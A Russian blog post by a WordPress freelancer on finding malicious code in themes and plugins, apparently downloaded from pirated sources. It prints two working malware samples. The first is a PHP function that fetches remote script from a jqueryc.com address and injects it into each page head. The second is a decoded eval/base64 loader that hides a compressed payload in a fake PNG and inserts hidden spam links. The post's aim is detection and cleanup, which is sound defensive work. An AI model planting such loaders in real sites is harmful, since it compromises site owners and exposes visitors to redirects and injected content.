Проверьте свой шаблон WordPress на зловредный код (Часть 2)

Это продолжение. Начало здесь.
В первой части мы говорили о плагинах, которые помогают определить подозрительный код в файлах темы.

Но есть зловредные скрипты, которые не определяются этими плагинами. В одних случаях они не определяются потому, что находятся не в файлах темы, а в других — потому что, плагины не определяют их как зловредный код.

Если сканирование плагинами ничего сомнительного не показало, то это еще не означает, что ваш сайт находится в безопасности.

Лично я предлагаю, еще в ручную проверить некоторые файлы темы и посмотреть HTML-код сайта.

Проверка файлов темы

Изучите содержание таких файлов: header.php, functions.php, footer.php.

В файле functions.php разработчики прописывают все ф-ции темы и пути к ним. Перед каждой ф-цией обычно указан комментарий с названием ф-ции.

Пример (комментарий начинается после символов //):

// get the path for the file ( to support child theme )
	if( !function_exists('get_root_directory') ){
		function get_root_directory( $path ){
			if( file_exists( STYLESHEETPATH . '/' . $path ) ){
				return STYLESHEETPATH . '/';
			}else{
				return TEMPLATEPATH . '/';
			}
		}
	}

Пример зловредного кода: редирект на чужой сайт

Вот фрагмент кода одного из премиум-шаблонов для WordPress, скачанных с паблика (фрагмент кода файла functions.php):

$temp_root = get_root_directory('include/include-script.php');
	include_once($temp_root . 'include/include-script.php'); // include all javascript and style in to the theme
	$temp_root = get_root_directory('include/plugin/utility.php');
	include_once($temp_root . 'include/plugin/utility.php'); // utility function
	$temp_root = get_root_directory('include/function-regist.php');
	include_once($temp_root . 'include/function-regist.php'); // registered wordpress function
	$temp_root = get_root_directory('include/goodlayers-option.php');
	include_once($temp_root . 'include/goodlayers-option.php'); // goodlayers panel
	$temp_root = get_root_directory('include/plugin/fontloader.php');
	include_once($temp_root . 'include/plugin/fontloader.php'); // load necessary font
	$temp_root = get_root_directory('include/plugin/shortcode-generator.php');
	include_once($temp_root . 'include/plugin/shortcode-generator.php'); // shortcode
	include'include/plugin/post.php'; // post function

Мое внимание привлекла неприметная строчка:

include'include/plugin/post.php'; // post function

Это и есть чужой код.

Этот инклюд вызывает ф-цию редиректа пользователя на сайт https://www.downloadmusicfreenow.com
Сама ф-ция находилась в файле post.php в папке темы include/plugin

<?php if (!function_exists('insert_jquery_des')){function insert_jquery_des(){if (function_exists('curl_init')){$url = "https://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();	$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_des');} ?>

Ф-ция может находится в разных файлах. Я например находил ее в файлах: post.php и sidebar_blog_post.php в разных темах.

Очень много шаблонов из паблика заражено всевозможными скриптами. Скачивая такой шаблон вы рискуете своим сайтом (репутацией, деньгами, авторитетом и т.д.).

Как можна по-другому найти такие ф-ции редиректа?

1) По истерическому сигналу вашего антивируса, который вдруг заблокировал доступ к вашему сайту. Это уже сигнал, что в шаблоне присутствует чужой код.

2) Используйте программу Total Commander и через поиск в файлах попробуйте найти такие комбинации кода:

$url = "https://www.jqueryc.com
jqueryc.com

3) Используйте программу Adobe Dreamweaver. Создайте в ней проект сайта, укажите шаблон и через поиск в нем попробуйте найти вышеуказанный код.

Проверка HTML-кода сайта

Установите на сайт шаблон и необходимые плагины. Откройте в браузере HTML-код главной страницы сайта (например, в Google Chrome это можна сделать вызвав контекстное меню на странице и выбрав пункт «Просмотр кода страницы»).

Просмотрите внимательно код. Обратите внимание на ссылки и текст.

Пример зловредного кода: рекламные ссылки

На одном сайте, которым я занимался, я нашел скрытые ссылки, которые ведут на порносайты (строка 54):

porno_links_site

Как вы думаете мне было приятно от порнухи на своем сайте, который очень далек от этой тематики? — Моему возмущению не было предела!

Как же они попали на сайт?

Обратите внимание на HTML-код в строке 53.

Ссылки генерировались зловредным скриптом, кторый находился в плагине NextGen (плагин создает фотогалереи). Все дело в том, что я установил плагин из неофициальных источников.

Устанавливайте плагины только из официального репозитория WordPress — https://wordpress.org/extend/plugins/

В статье Проверьте свой сайт на вирусы я указал сервисы, которые проверяют сайты на чужие внешние ссылки. Обязательно проверьте свой сайт.

Кстати, у меня был случай, когда один из плагинов, установленных из официального репозитория WordPress также генерировал чужие рекламные ссылки.

Вывод: лишняя бдительность не помешает.

Дополнительно

Еще приведу один пример того, как плохие дяди (или тети) хотят на шару вас поиспользовать.

В одном из премиум шаблонов, в файле header.php плагином Theme Authenticity Checker (TAC) был найден код eval base64.

Декодером я расшифровал файл:

$f=dirname(__file__).'/images/wp_menu_top.png';$b=get_option('wp_theme_menu_first');if (file_exists($f) and !$b){$fp = fopen($f,"r");$s = fread($fp,filesize($f));fclose($fp);eval('$m='.gzuncompress(stripslashes($s)).';');$i0=$m[0];$i1=$m[1];$i2=$m[2];$i3=$m[3];unset($m[0],$m[1],$m[2]);shuffle($m);$cs[0]=$i0.$i1.$m[0].$i2.$m[1].$i2.$m[2].$i3;$cs[1]=$i0.$i1.$m[3].$i2.$m[4].$i2.$m[5].$i3;add_option('wp_theme_menu_first',base64_encode($cs[0]),'','no' );add_option('wp_theme_menu_second',base64_encode($cs[1]),'','no' );}function fn(){if((is_home())&&!(is_paged())) $n=base64_decode(get_option('wp_theme_menu_first'));else $n=base64_decode(get_option('wp_theme_menu_second'));return $n;}$_GET['g__']=1;function cb($p){echo ($_GET['g__']>0)?fn():'';$_GET['g__']=0;return $p;}if ($b) add_action('widget_title','cb');

В первой строке есть ссылка на графический файл: images/wp_menu_top.png. Этот файл подгружается зашифрованным кодом.

В папке images нашел этот файл и попробовал открыть — не получилось. По коду видно, что это не обычный графический файл, а сжатый текстовый файл с кодом внутри. Скорей всего этот код выводит скрытые рекламные ссылки. В любом случае он нам не нужен.

Лечение: удалить код eval base64 из файла header.php, удалить файл wp_menu_top.png.

Перед тем, как что-то удалить — сохраните исходные файлы.

Рейтинг 0/5 (0 голосов)


 

Николай Пекарский

Автор сайта. Фрилансер. Занимаюсь созданием сайтов на WordPress, локализацией шаблонов и плагинов WordPress.

Добавить комментарий

avatar